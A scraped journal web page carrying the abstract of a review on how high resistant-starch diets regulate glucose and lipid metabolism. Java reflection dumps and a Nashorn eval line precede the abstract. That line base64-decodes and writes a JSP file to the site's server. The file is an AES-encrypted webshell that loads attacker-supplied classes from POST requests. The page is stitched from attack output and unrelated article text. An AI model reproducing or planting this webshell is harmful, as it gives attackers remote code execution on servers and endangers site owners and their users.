public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University

    Next Articles

Research Progress on the Regulation of Glucose and Lipid Metabolism by High Resistant Starch Diets

LIU Kun, LI Xiaoying, ZHANG Yugang, SUN Jia, LIAO Wenzhen   

  1. Experimental Education/Administration Center, National Demonstration Center for Experimental Education of Basic Medical Sciences, School of Basic Medical Sciences, Southern Medical University, Guangzhou 510515, China; Department of Endocrinology, Zhujiang Hospital/The Second School of Clinical Medicine, Southern Medical University, Guangzhou 510280, China; School of Public Health, Southern Medical University, Guangzhou 510515, China.
  • Supported by:
    National Natural Science Foundation of China (2200080403)

PDF

172

Abstract: The global prevalence of metabolic diseases such as obesity, diabetes, and cardiovascular diseases is closely related to overnutrition and imbalanced dietary patterns. As the carbohydrate, the digestion characteristics of starch directly affect the homeostasis of glucose and lipid metabolism. Resistant Starch (RS) has become the current hotspot of dietary nutrition research for improving disorders of glucose and lipid metabolism due to its unique anti-digestive properties and prebiotic functions. This review summarizes the digestive characteristics of starch, as well as the comprehensive effects and related mechanisms of resistant starch (RS) in ameliorating metabolic diseases. Diets with high RS content not only optimize glucose homeostasis by retarding glucose release, but also the undigested fractions enter the colon to drive the metabolic regulatory network of the gut microbiota-gut-brain axis. These include activating the AMPK/ACC pathway to reduce fat accumulation, enhancing the intestinal barrier function mediated by short-chain fatty acids (SCFAs), and GLP-1/PYY neural signal transduction. This will not only provide a research basis for the design of new healthy foods but also offer new research ideas for optimizing dietary nutrition and regulating the disorders of glucose and lipid metabolism caused by a high-carbohydrate diet.

Key words: Metabolic diseases, Starch, High resistant ability, Dietary nutrition, Glucose and lipid metabolism